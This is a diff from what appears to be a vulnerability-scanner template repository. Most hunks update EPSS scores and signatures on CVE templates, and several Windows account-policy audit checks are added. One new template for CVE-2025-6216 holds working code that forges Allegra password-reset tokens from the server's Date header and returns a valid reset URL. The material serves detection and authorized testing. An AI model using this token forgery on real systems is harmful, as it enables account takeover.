+            print("----- BEGIN RESPONSE -----")
+            print(buf.decode("utf-8", errors="replace").replace("\\r\\n", "\n"))
+            print("----- END RESPONSE -----")
+            self.socket.close()
+            return None
+
+          except socket.timeout as e:
+            print("[>] Target waited for more data. Not vulnerable.")
+            return False
+          except Exception as e:
+            print("[>] Target dropped the connection, which indicates a vulnerable device!")
+            print(e)
+            return True
+
+      if __name__ == '__main__':
+        host=os.getenv("Host")
+        port=int(os.getenv("Port"))
+        exploit = SSLVPNExploit(host, port)
+        check = exploit.check_by_get()
+
+        if check == True:
+          result = exploit.is_vulnerable()
+          if result == None:
+            print("[!] An error occurred testing for the vulnerability.\n[!] Is this even a FortiGate SSL-VPN?")
+            exit(2)
+
+          if result == True:
+            print("[+] Target appears to be VULNERABLE")
+            exit(0)
+
+          else:
+            print("[+] Target is NOT vulnerable")
+            exit(1)
+
+    matchers:
+      - type: word
+        words:
+          - "Target appears to be VULNERABLE"
+# digest: 4b0a00483046022100df2185bba8207644d6ccf7a16a4f4fd737eeee1f8bd6f4622ac7049188f5040b022100ef25386cc59ebe43e9f9d3796c23e7edee1e2f34a0d1a88c7318c3180af1f587:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2640.yaml

@@ -21,8 +21,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-2640
     cwe-id: CWE-863
-    epss-score: 0.00232
-    epss-percentile: 0.60636
+    epss-score: 0.91874
+    epss-percentile: 0.99680
     cpe: cpe:2.3:o:canonical:ubuntu_linux:23.04:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -55,4 +55,4 @@ code:
           - '!contains(code_1_response, "(root)")'
           - 'contains(code_2_response, "(root)")'
         condition: and
-# digest: 4a0a00473045022100af1ce9e558408f86de2a92c299f2c032d05d4c87ca0b3b94e5372325c57a6247022018cc3e6806b89d0ab44dd51123fc94309a65fcb8b07605f505d528c67faa4862:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502202809a713e4b7f0f60945476a6178a11001fed63e5a210c5f7d1e3051d0f2d532022100c48469b0082d1264875fcb51ece29a27c1a5ecc9513ccca86afd183931ae3472:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-2986.yaml

@@ -16,8 +16,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
     cvss-score: 9.8
     cve-id: CVE-2023-2986
-    epss-score: 0.66087
-    epss-percentile: 0.98408
+    epss-score: 0.91200
+    epss-percentile: 0.99636
     cpe: cpe:2.3:a:tychesoftwares:abandoned_cart_lite_for_woocommerce:*:*:*:*:*:wordpress:*:*
   metadata:
     verified: true
@@ -626,4 +626,4 @@ http:
       - type: status
         status:
           - 302
-# digest: 4a0a00473045022100d2af580b16cb23cc676fe40676c1d547451008ceab4f7c6d39923954db4b12eb0220310d7f08b86ef82f37a43a20c0c010e39ae81d80ff2246e24d6dda998461edb6:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450221009fa711a5846a3c93bac4bc69d04eac250dfdf6df030b766ed7e272e1c41e6afd0220383dd08bfdfe5d8ab5f2dc3f9f0c2881b2ab73ec4502c81f92cdf28db1651b82:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-49105.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2023-49105
     cwe-id: CWE-287
-    epss-score: 0.18166
-    epss-percentile: 0.96172
+    epss-score: 0.86872
+    epss-percentile: 0.99395
     cpe: cpe:2.3:a:owncloud:owncloud:*:*:*:*:*:*:*:*
   metadata:
     max-request: 2
@@ -90,4 +90,4 @@ http:
       - type: dsl
         dsl:
           - '"Username => "+ username'
-# digest: 4b0a0048304602210097de106f56df20d4649d793b15fa2d3f84941e9ce92c24229d036e6b293a3d3a022100d810cbc181ba167025440b9de7b86d072c009e244ce2abd4e4aed6ab1599d1ce:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204b1fb18af3e1a3a93ddf533a7112f566b1c32c20d54fce52634df059c876cd060220684fd961920c7f143e93d510a7e4219626c8ef2291c908ffecbb8a92171f9185:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-4911.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-4911
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.0171
-    epss-percentile: 0.87439
+    epss-score: 0.66736
+    epss-percentile: 0.98452
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -39,4 +39,4 @@ code:
       - type: word
         words:
           - "139"     # Segmentation Fault Exit Code
-# digest: 4b0a004830460221009b0b0cfac42037ebc60fb784afe5b4b70d62670e925e5b173d8e9e1e88fdc163022100edfb6d5010a063cfdbe507710c75ef7c530b946d363571fad08d504e9e519505:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207a6e5753b4c34b6c6a6b114a627b1024aea6e7ffaf398b1a92eb895c3a0449b9022100e7d7bde1dcc8c8248fa38491377b58370af797f1769f84f3be87a1fa8e672445:922c64590222798bb761d5b6d8e72950

code/cves/2023/CVE-2023-6246.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 7.8
     cve-id: CVE-2023-6246
     cwe-id: CWE-787,CWE-122
-    epss-score: 0.0077
-    epss-percentile: 0.80859
+    epss-score: 0.22699
+    epss-percentile: 0.95613
     cpe: cpe:2.3:a:gnu:glibc:*:*:*:*:*:*:*:*
   metadata:
     max-request: 1
@@ -39,4 +39,4 @@ code:
       - type: word
         words:
           - "127"     # Segmentation Fault Exit Code
-# digest: 490a00463044022067d33f4da6f38d0bbdd03910db3f757750cd7d17e8865d79a7f6dc3b68b2367702207a1573a717bd2ecba367dfdee834be3861b73053905b847e9199345d993f7acd:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220435fc0f1f42662dd77393d370309115320794f7957843c0ff1ef4c0e68d5566402200e729fedbc5915a5e9a5c33cd70ccff6646981ea2ae405bb1341c83e0b228b08:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-10443.yaml

@@ -13,8 +13,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-10443
     cwe-id: CWE-77
-    epss-score: 0.02427
-    epss-percentile: 0.84387
+    epss-score: 0.69629
+    epss-percentile: 0.98573
     cpe: cpe:2.3:a:synology:photos:*:*:*:*:*:diskstation_manager:*:*
   metadata:
     verified: true
@@ -54,4 +54,4 @@ code:
         part: interactsh_protocol # Confirms the HTTP Interaction
         words:
           - "dns"
-# digest: 4a0a00473045022100f541247d987a9e0240988176fd4eab32d5d1bb5786cb57757b66812cc52804fa022046cdeedbf8367a55b9eea6faa7ff8bfa9a159a7c456af48d8e50e69f8e0f547c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a004730450220238322406ea7b36d09adcd8d11555a98663066124719295b82627c0c6aa649c602210097fd42ed176237bd31b1b6fe4b675eb74f378636c66888f6578c5f20d49e8af4:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-12356.yaml

@@ -13,12 +13,14 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-12356
     cwe-id: CWE-77
+    epss-score: 0.93590
+    epss-percentile: 0.99831
     cpe: cpe:2.3:a:beyondtrust:privileged_remote_access:*:*:*:*:*:*:*:*
   metadata:
     vendor: beyondtrust
     product: privileged_remote_access
     verified: true
-  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access
+  tags: cve,cve2024,beyondtrust,rce,remote-support,privileged-remote-access,kev
 
 code:
   - engine:
@@ -35,4 +37,4 @@ code:
         words:
           - "0 success"
           - "1 try again later"
-# digest: 4b0a004830460221009b992dc11657502934210c647c8a324000984f2ced04da26d5afb3e8cc3a2f9d02210098f750c74fcb8749b28d18e1077b38d9d1a8c6ca6d00b10155f987033cee4171:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100be13ba221189875a5c3c181eb1e6c5d7c4806c31798dc6f540657279fac5b029022031676609cf3da0030625ce6aac0a33787770a4d084ec52ac9f58d0faa903025f:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-22120.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.1
     cve-id: CVE-2024-22120
     cwe-id: CWE-20
-    epss-score: 0.00043
-    epss-percentile: 0.09568
+    epss-score: 0.93881
+    epss-percentile: 0.99865
   metadata:
     max-request: 1
     vendor: zabbix
@@ -71,4 +71,4 @@ code:
       - type: word
         words:
           - "Vulnerable to CVE-2024-22120"
-# digest: 490a004630440220373630574dc675bb0fb8395e3ba509866bb2524b66ba5af917e1c88af91ec0aa022072b103b17bfeb7f48ed7ba168e35269ee51e499398be47a1c2f98f07cb4cd689:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022057371395d4fb23fb810c20049a9d700a8284af6c1bc84864c23f1b4470dc4583022100f4d401098a82c09507f92f49757fb5d6085c9739a37aabc3f9ba8dcd894bdfa8:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-3094.yaml

@@ -17,8 +17,8 @@ info:
     cvss-score: 10
     cve-id: CVE-2024-3094
     cwe-id: CWE-506
-    epss-score: 0.00079
-    epss-percentile: 0.32887
+    epss-score: 0.84011
+    epss-percentile: 0.99254
     cpe: cpe:2.3:a:tukaani:xz:5.6.0:*:*:*:*:*:*:*
   metadata:
     verified: true
@@ -59,4 +59,4 @@ code:
       - type: dsl
         dsl:
           - response
-# digest: 4a0a004730450221009abe47857ffdb332e0e64304eac070593121f5ed53dddca447b831feceb14de10220054bdf467470183f86c9da127ed80e2e19154c35e6fd7f0e9da3cbb4d5e4b866:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100f7234c73aae801d78da251277aec0c21a4952b8b344944b3892eee84ec5891ae0221008d992982b582811cdd8173176149ef196cc6f7b672fcf16d10c05aab8badd9db:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-4340.yaml

@@ -10,6 +10,8 @@ info:
     cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
     cvss-score: 7.5
     cve-id: CVE-2024-4340
+    epss-score: 0.15598
+    epss-percentile: 0.94407
   reference:
     - https://nvd.nist.gov/vuln/detail/CVE-2024-4340
   tags: cve,cve2024,py,code,dos,python,sqlparse
@@ -27,4 +29,4 @@ code:
         part: stderr
         words:
           - "RecursionError: maximum recursion depth exceeded"
-# digest: 490a0046304402201ac09f592d24f7e3d3087a1f7fbdb85b68416f74d0550fe9d9d9d41898a7b27b02206111d2729c3a07e5e63866a2ec73d167b64e612581728883cb8966797b137cf3:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402204fca66bc1127003bf7091c3ef4aa8c9a979c22405fb23f6e34ed6ef18a8b0daa0220188f7df879246724eac3b609b7bba222ff83e2a839029e7a0ef168c88260941c:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-45409.yaml

@@ -20,6 +20,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-45409
     cwe-id: CWE-347
+    epss-score: 0.16139
+    epss-percentile: 0.94531
   metadata:
     verified: true
     shodan-query: http.title:"GitLab"
@@ -121,4 +123,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 4a0a0047304502200ca1bbbc60fa2debbed3a416665eacb5232cea3b028b9da309258483b69822d6022100b0184d0a81fb72e2e32d58323bb81aa53d24b1c5fcd038771a71f8ff000e3ee6:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402201e63c308fefaaa4d4ba99b5a7c2ea3d7dcdf5544dc8d4a1ae1a0fbd532d7241702207232eaea82be593da580ba735e84de2153ee1708552ae08603c4c7237f2e1112:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-55556.yaml

@@ -17,6 +17,8 @@ info:
     cvss-score: 9.8
     cve-id: CVE-2024-55556
     cwe-id: CWE-502
+    epss-score: 0.80857
+    epss-percentile: 0.99096
   metadata:
     verified: true
     max-request: 2
@@ -191,4 +193,4 @@ http:
       - type: status
         status:
           - 500
-# digest: 490a0046304402204698451453cf480c6f4c8e276ddf0d9380a61c999a65ec0d29c5ed8490864e9e02205439af80b227f33a6378587084d8d95d7a50df8523a6d8f338a2561adf63ebc1:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100e75d786df30fc6d158bb38bc2b13a5af3c2e27174c1617fe01b419f3a5d69b57022100840b6aaccec646d85c578e77492eda810bfb731287ba8520e5d657e92f883297:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-56331.yaml

@@ -21,6 +21,8 @@ info:
     cvss-score: 6.8
     cve-id: CVE-2024-56331
     cwe-id: CWE-22
+    epss-score: 0.41406
+    epss-percentile: 0.97262
   metadata:
     verified: true
     shodan-query: http.title:"Uptime Kuma"
@@ -122,4 +124,4 @@ code:
       - type: word
         words:
           - "/etc/passwd: {'ok': True, 'msg': 'successAdded'"
-# digest: 4a0a00473045022100df7d5d216b87880a14cc83c6a75207c8abe35918c11518caf6cc303812f77d7102202822e8fce807e7f5e5015788df46b6ecf677ff6ff2dcb6e1e3da8d3976b3ad45:922c64590222798bb761d5b6d8e72950
+# digest: 490a004630440220767c6864cb0310b6d63e766a5284e127185a790ded13671c3b33ee3ae955d86a02202e855684ba68b62411f6e36c7e6c472bfbd78ce3f6729980b57f92116bca9a5c:922c64590222798bb761d5b6d8e72950

code/cves/2024/CVE-2024-9487.yaml

@@ -10,8 +10,8 @@ info:
     - https://projectdiscovery.io/blog/github-enterprise-saml-authentication-bypass
     - https://github.com/advisories/GHSA-g83h-4727-5rpv
   classification:
-    epss-score: 0.00045
-    epss-percentile: 0.16808
+    epss-score: 0.38910
+    epss-percentile: 0.97110
   metadata:
     verified: true
     shodan-query: title:"GitHub Enterprise"
@@ -188,4 +188,4 @@ http:
       - type: kval
         kval:
           - user_session
-# digest: 4a0a0047304502201d9a6f1f7ac210b5f531ac3b64b73ac246350f6fa67725457a6096ba96d3600a022100cf325e2fc0f46f03d1f365f3c3fcd0a968ffdcf74f851f58d0dba07ec47c861d:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100d4499f701d4dbaa3fee40a00ced7f7790a94891bc9007aed06b4741a76fd543c0220713f41ccb6c2e702ac3513a926d5308c1077bf3cf7f01d4b049c347bd3dfd7e7:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-25291.yaml

@@ -19,8 +19,8 @@ info:
     cvss-score: 9.3
     cve-id: CVE-2025-25291
     cwe-id: CWE-347
-    epss-score: 0.00655
-    epss-percentile: 0.6872
+    epss-score: 0.01703
+    epss-percentile: 0.81527
   metadata:
     verified: true
     vendor: gitlab
@@ -78,4 +78,4 @@ http:
       - type: kval
         kval:
           - _gitlab_session
-# digest: 490a00463044022004b71e49683e8e0fb5555bb3dd0c9f36c4b0804a6cd6e14e8c4c2664f14980df022061a0dd50918227101dcabe92ec86d4c56b40bdc98d8c9ffb396562bfc9e90887:922c64590222798bb761d5b6d8e72950
+# digest: 490a00463044022100be3b0643c89a1ddcd15aa06afc686f3efb80fa245984ce21ca1b4275c74d42a2021f4b0e28ee37a26ab75834991f37b275727fac03c60f0170a2e59e232ae078d8:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-32433.yaml

@@ -20,13 +20,13 @@ info:
     cvss-score: 10
     cve-id: CVE-2025-32433
     cwe-id: CWE-306
-    epss-score: 0.00386
-    epss-percentile: 0.58724
+    epss-score: 0.55376
+    epss-percentile: 0.97930
   metadata:
     verified: true
     max-request: 1
     shodan-query: "Erlang OTP"
-  tags: cve,cve2025,erlang,otp,ssh,rce,oast
+  tags: cve,cve2025,erlang,otp,ssh,rce,oast,kev
 
 variables:
   OAST: "{{interactsh-url}}"
@@ -172,4 +172,4 @@ code:
         dsl:
           - 'contains(interactsh_protocol, "dns")'
         condition: and
-# digest: 4b0a00483046022100b8ef2c0e0e8c218076ba845e8b0334ee9a4bbe5430eb84597a96d40c403073ad022100d73b311fc1bb3404a0aea728f335bbe94e624e7a5e82a8d156f740510d82042c:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a0047304502207edfd6f617b697c540c8375a5278b5c1016c928b22d041e1dc19ddfdad65d43b022100a4785eb798107b1413fd119e65a851be94361018e5eb785f393d26feed858cc1:922c64590222798bb761d5b6d8e72950

code/cves/2025/CVE-2025-6216.yaml

@@ -0,0 +1,116 @@
+id: CVE-2025-6216
+
+info:
+  name: Allegra - Authentication Bypass via Predictable Password Reset Token
+  author: iamnoooob,pdresearch
+  severity: critical
+  description: |
+    Allegra calculateTokenExpDate Password Recovery Authentication Bypass Vulnerability. This vulnerability allows remote attackers to bypass authentication on affected installations of Allegra. Authentication is not required to exploit this vulnerability. The specific flaw exists within the password recovery mechanism. The issue results from reliance upon a predictable value when generating a password reset token. An attacker can leverage this vulnerability to bypass authentication on the application.
+  impact: |
+    An attacker can exploit this vulnerability to bypass authentication and gain unauthorized access to the application, potentially compromising sensitive data and system integrity.
+  remediation: |
+    Upgrade Allegra to version 8.1.4 or 7.5.2 or later to fix the predictable password reset token vulnerability.
+  reference:
+    - https://www.zerodayinitiative.com/advisories/ZDI-25-410/
+    - https://alltena.com/en/resources/release-notes/release-notes-for-release-8-1-4-and-release-7-5-2
+    - https://nvd.nist.gov/vuln/detail/CVE-2025-6216
+  classification:
+    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
+    cvss-score: 9.8
+    cve-id: CVE-2025-6216
+    cwe-id: CWE-640
+    cpe: cpe:2.3:a:alltena:allegra:*:*:*:*:*:*:*:*
+  metadata:
+    verified: true
+    max-request: 1
+    vendor: alltena
+    product: allegra
+    shodan-query: http.favicon.hash:"284403119"
+    fofa-query: icon_hash="284403119"
+  tags: cve,cve2025,allegra,auth-bypass,predictable-token,reset
+
+variables:
+  email: "[email protected]"  # Change to a test account
+
+flow: http(1) && code()
+
+http:
+  - raw:
+      - |
+        POST /resetPassword.action HTTP/1.1
+        Host: {{Hostname}}
+        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
+
+        email={{email}}&fromAjax=true&_dc=1750669432104&perspectiveType=&appActionID=
+
+    extractors:
+      - type: regex
+        name: date_header
+        part: header
+        internal: true
+        group: 1
+        regex:
+          - "Date: (.*)"
+
+    matchers-condition: and
+    matchers:
+      - type: word
+        words:
+          - "emailSent"
+          - '"success":true'
+        condition: and
+
+      - type: status
+        status:
+          - 200
+
+code:
+  - engine:
+      - py
+      - python3 # requires python to be pre-installed on system running nuclei
+
+    source: |
+            import requests
+            import hashlib,os
+            import time
+            from datetime import datetime, timezone
+            from email.utils import parsedate_to_datetime
+
+            def get_server_time(response):
+                date_header = response.headers.get('Date')
+                if date_header:
+                    return parsedate_to_datetime(date_header)
+                return None
+
+            def main():
+                BASE_URL = os.getenv("BaseURL")
+                EMAIL = os.getenv("email")
+                date_header = os.getenv("date_header")
+                server_time = parsedate_to_datetime(date_header)
+                if not server_time:
+                    return
+                server_time_ms = int(server_time.timestamp() * 1000)
+                expiry_time_ms = server_time_ms + 28800000
+                base_expiry_sec = (expiry_time_ms // 1000) * 1000
+                for ms in range(1000):
+                    candidate_expiry_ms = base_expiry_sec + ms
+                    token = hashlib.sha256(str(candidate_expiry_ms).encode()).hexdigest()
+                    test_url = f"{BASE_URL}/resetPassword!confirm.action?ctk={token}"
+                    r = requests.get(test_url, allow_redirects=False)
+                    if 'com.trackplus.app.logon.ResetPasswordApplication' in r.text:
+                        print(test_url)
+                        return
+
+            if __name__ == "__main__":
+                main()
+
+    matchers:
+      - type: dsl
+        dsl:
+          - contains(code_response, "/resetPassword!confirm.action?ctk=")
+
+    extractors:
+      - type: dsl  # type of the extractor
+        dsl:
+          - '"Reset URL: " + code_response'
+# digest: 4a0a00473045022100e16640c86c7d6f0d855aad545c1028cd614abdc1388b9a33da23d66b1d3beddf022010383e6897d82a9fabb755115271a0635ca5ee8a36633e8f1485f601840f5caa:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/account-lockout-threshold.yaml

@@ -0,0 +1,66 @@
+id: account-lockout-threshold
+
+info:
+  name: Account Lockout Threshold Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the account lockout threshold is configured to 5 or fewer invalid login attempts to reduce the risk of brute-force attacks.
+  impact: |
+    An absent or misconfigured lockout threshold permits unlimited password guessing attempts, significantly increasing the risk of account compromise.
+  remediation: |
+    Set the lockout threshold using:
+    > net accounts /lockoutthreshold:5
+    or configure it via Local Security Policy under:
+    Account Lockout Policy → Account lockout threshold.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: account-management,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+
+    args:
+      - -ExecutionPolicy
+      - Bypass
+
+    pattern: "*.ps1"
+    source: |
+      $netAccountsOutput = net accounts
+      $thresholdLine = $netAccountsOutput | Where-Object { $_ -match "Lockout threshold:" }
+      if ($thresholdLine) {
+          # "Lockout threshold:"
+          $matches = [regex]::Match($thresholdLine, "Lockout threshold:\s+(\S+)")
+          if ($matches.Success) {
+              $value = $matches.Groups[1].Value.Trim()
+              if ($value -eq "0" -or $value -eq "Never") {
+                  Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_NOT_SET"
+              }
+              elseif ([int]$value -gt 5) {
+                  Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_EXCEEDS_MAX"
+              }
+              else {
+                  Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_OK"
+              }
+          }
+          else {
+              Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_NOT_FOUND"
+          }
+      }
+      else {
+          Write-Output "ACCOUNT_LOCKOUT_THRESHOLD_NOT_FOUND"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "ACCOUNT_LOCKOUT_THRESHOLD_NOT_SET"
+          - "ACCOUNT_LOCKOUT_THRESHOLD_EXCEEDS_MAX"
+        condition: or
+# digest: 4a0a00473045022034a847143c2c8fb95385c179c5f7470c39ab50890f000ed24a3035ea0f25870a022100fc81ac665ad1b19de6dee7a2dca9825d4b1788f9c7d1864fe911258bf7d12018:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/admin-account-rename.yaml

@@ -0,0 +1,43 @@
+id: admin-account-rename
+
+info:
+  name: Administrator Account Rename Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the default Administrator account has been renamed to help prevent targeted brute-force attacks.
+  impact: |
+    Retaining the default Administrator account name gives attackers a predictable target for password guessing attempts on a privileged account.
+  remediation: |
+    Rename the Administrator account using Local Security Policy or the following command-line instruction:
+    > wmic UserAccount where Name="administrator" call Rename Name="NEW_NAME"
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: account-management,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      # Check SID ending with -500 (built-in Administrator)
+      $adminAccount = Get-LocalUser | Where-Object { $_.SID -like '*-500' }
+      if ($adminAccount.Name -eq 'Administrator') {
+          "ADMINISTRATOR_ACCOUNT_NOT_RENAMED"
+      } else {
+          "ADMINISTRATOR_ACCOUNT_RENAMED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "ADMINISTRATOR_ACCOUNT_NOT_RENAMED"
+# digest: 490a0046304402204f1082ed779670c36e0c0dbdd6b5877646019c207108132bedf0b2930b7dc152022009b7488b88083a38073d52e1ef4b9a33c21321f0fc1acc490a78e529ca983432:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/admin-group-minimal.yaml

@@ -0,0 +1,60 @@
+id: admin-group-minimal
+
+info:
+  name: Minimum Administrator Group Membership Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure that only essential accounts are members of the Administrators group. Excess or unnecessary accounts can increase the system's vulnerability to compromise.
+  impact: |
+    Additional accounts in the Administrators group can be leveraged by attackers to gain unauthorized access and execute administrative tasks.
+  remediation: |
+    Remove unneeded accounts from the Administrators group using:
+    > net localgroup administrators [AccountName] /del
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: account-management,code,windows-audit,kisa,admin-group
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $output = net localgroup administrators | Out-String
+      $lines = $output -split "`n"
+      $start = $false
+      $accounts = @()
+      foreach ($line in $lines) {
+          # Identify the start of the member list by the separator line
+          if ($line -match "^-+") {
+              $start = $true
+              continue
+          }
+          # End the member list when reaching the completion message
+          if ($start -and $line -match "The command completed successfully") {
+              break
+          }
+          if ($start -and $line.Trim() -ne "") {
+              $accounts += $line.Trim()
+          }
+      }
+      # Assume that only one account (the built-in administrator or a renamed equivalent) is necessary.
+      if ($accounts.Count -gt 1) {
+          "EXTRA_ADMIN_ACCOUNTS_FOUND"
+      } else {
+          "ADMIN_GROUP_MINIMAL"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "EXTRA_ADMIN_ACCOUNTS_FOUND"
+# digest: 4a0a004730450221009c36aa2068e623df764f3863f6e970940153bfea01b831b33ad12afb14df3cd102207572f13bba45b95343961cc8a22a4b2b999dfb784f64eb62ce42dae81795f360:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/autologon-control.yaml

@@ -0,0 +1,45 @@
+id: autologon-control
+
+info:
+  name: Autologon Function Control Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the Autologon feature is disabled by verifying that the AutoAdminLogon registry value under
+    HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon is either missing or set to "0".
+    A value of "1" indicates that login credentials may be stored in the registry, creating a potential security risk.
+  impact: |
+    Enabling Autologon allows attackers with physical or remote access to retrieve stored login credentials, potentially resulting in unauthorized system access.
+  remediation: |
+    Disable Autologon by setting the AutoAdminLogon registry value to "0". This can be done using:
+    - Registry Editor: Go to HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon and set AutoAdminLogon to "0".
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: autologon,account-management,code,windows-audit,kisa
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $regPath = "HKLM:\Software\Microsoft\Windows NT\CurrentVersion\Winlogon"
+      $autologon = (Get-ItemProperty -Path $regPath -Name AutoAdminLogon -ErrorAction SilentlyContinue).AutoAdminLogon
+      if ($null -eq $autologon -or $autologon -eq "0") {
+          "AUTO_ADMIN_LOGON_DISABLED"
+      } else {
+          "AUTO_ADMIN_LOGON_ENABLED"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "AUTO_ADMIN_LOGON_ENABLED"
+# digest: 4a0a00473045022100f6c7e1a440a97be82ee3459e2a332e1ff946165fd3d81fe5fe130fd9994b3e9c022054d9ac214e6fa41663e07b56e06c9b2d47c504b8419e08dd5daf0b733d717e46:922c64590222798bb761d5b6d8e72950

code/windows/audit/kisa/crash-on-audit-fail.yaml

@@ -0,0 +1,52 @@
+id: crash-on-audit-fail
+
+info:
+  name: Shutdown on Audit Failure Check
+  author: nukunga[SungHyunJeon]
+  severity: medium
+  description: |
+    Ensure the "Shutdown on Audit Failure" policy is disabled.
+    The registry value should be set to "4,0" to prevent the system from shutting down if it cannot log security audit events.
+    If set to "4,1", the system will shut down on audit failure, which could result in a denial-of-service condition.
+  impact: |
+    Enabling this policy (value set to "4,1") may cause the system to shut down unexpectedly if audit logs cannot be written, potentially disrupting services and risking data loss.
+  remediation: |
+    Disable the policy by setting the CrashOnAuditFail value to "4,0". This can be done by:
+    - Using the Registry Editor: Navigate to HKLM:\Software\Microsoft\Windows\CurrentVersion\Policies\System and set CrashOnAuditFail to "4,0".
+    - Through Local Security Policy: Set "Audit: Shut down system immediately if unable to log security audits" to Disabled.
+  reference:
+    - https://isms.kisa.or.kr/main/csap/notice/?boardId=bbs_0000000000000004&mode=view&cntId=85
+  tags: account-management,code,windows-audit,kisa,policy
+
+self-contained: true
+
+code:
+  - pre-condition: |
+      IsWindows();
+    engine:
+      - powershell
+      - powershell.exe
+    args:
+      - -ExecutionPolicy
+      - Bypass
+    pattern: "*.ps1"
+    source: |
+      $cfgPath = "C:\cfg.txt"
+      secedit /export /cfg $cfgPath | Out-Null
+      $cfg = Get-Content $cfgPath | Out-String
+      if ($cfg -match "CrashOnAuditFail\s*=\s*(\S+)") {
+          $value = $Matches[1].Trim()
+          if ($value -eq "4,1") {
+              "CRASH_ON_AUDIT_FAIL_ENABLED"
+          } else {
+              "CRASH_ON_AUDIT_FAIL_DISABLED"
+          }
+      } else {
+          "CRASH_ON_AUDIT_FAIL_NOT_FOUND"
+      }
+
+    matchers:
+      - type: word
+        words:
+          - "CRASH_ON_AUDIT_FAIL_ENABLED"
+# digest: 490a00463044022007c2aca38559cd01cd500c5c6fd79aac025e09e5b81eb704d263ee7cd549e55102202518accc1cc2c845dbd42938cdf9c81fe5088c29fcd839627c5a5531c184c6db:922c64590222798bb761d5b6d8e72950

